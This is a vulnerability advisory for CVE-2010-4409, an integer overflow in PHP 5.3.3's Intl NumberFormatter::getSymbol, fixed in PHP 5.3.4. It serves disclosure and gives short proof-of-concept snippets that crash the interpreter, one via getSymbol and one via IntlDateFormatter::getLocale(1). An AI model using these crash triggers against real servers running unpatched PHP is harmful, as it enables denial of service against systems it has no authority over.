CERT: VU#479900
CVE: CVE-2010-4409
CWE: CWE-189
Status: Fixed in PHP 5.3.4

Affected Software:
- - PHP 5.3.3

Original URL:

- --- 0.Description ---
Internationalization extension (further is referred as Intl) is a
wrapper for ICU library, enabling PHP programmers to perform
UCA-conformant collation and date/time/number/currency formatting in
their scripts.

Number Formatter: allows to display number according to the localized
format or given pattern or set of rules, and to parse strings into numbers.


- --- 1. PoC for Integer Overflow ---
$nx=new NumberFormatter("pl",1);
$nx->getSymbol[PII_REDACTED]);


- --- 2. PHP 5.3.3/5.2.14 NumberFormatter::getSymbol Integer Overflow ---
As we can see in

      return u_terminateUChars(dest, destCapacity, len, &errorCode);

  }

  return len;

so crash in rip=memcpy(3).

Method getLocal() also can generate simple crash (CWE-170)

$nx=new IntlDateFormatter("pl", IntlDateFormatter::FULL,
IntlDateFormatter::FULL);
$nx->getLocale(1);
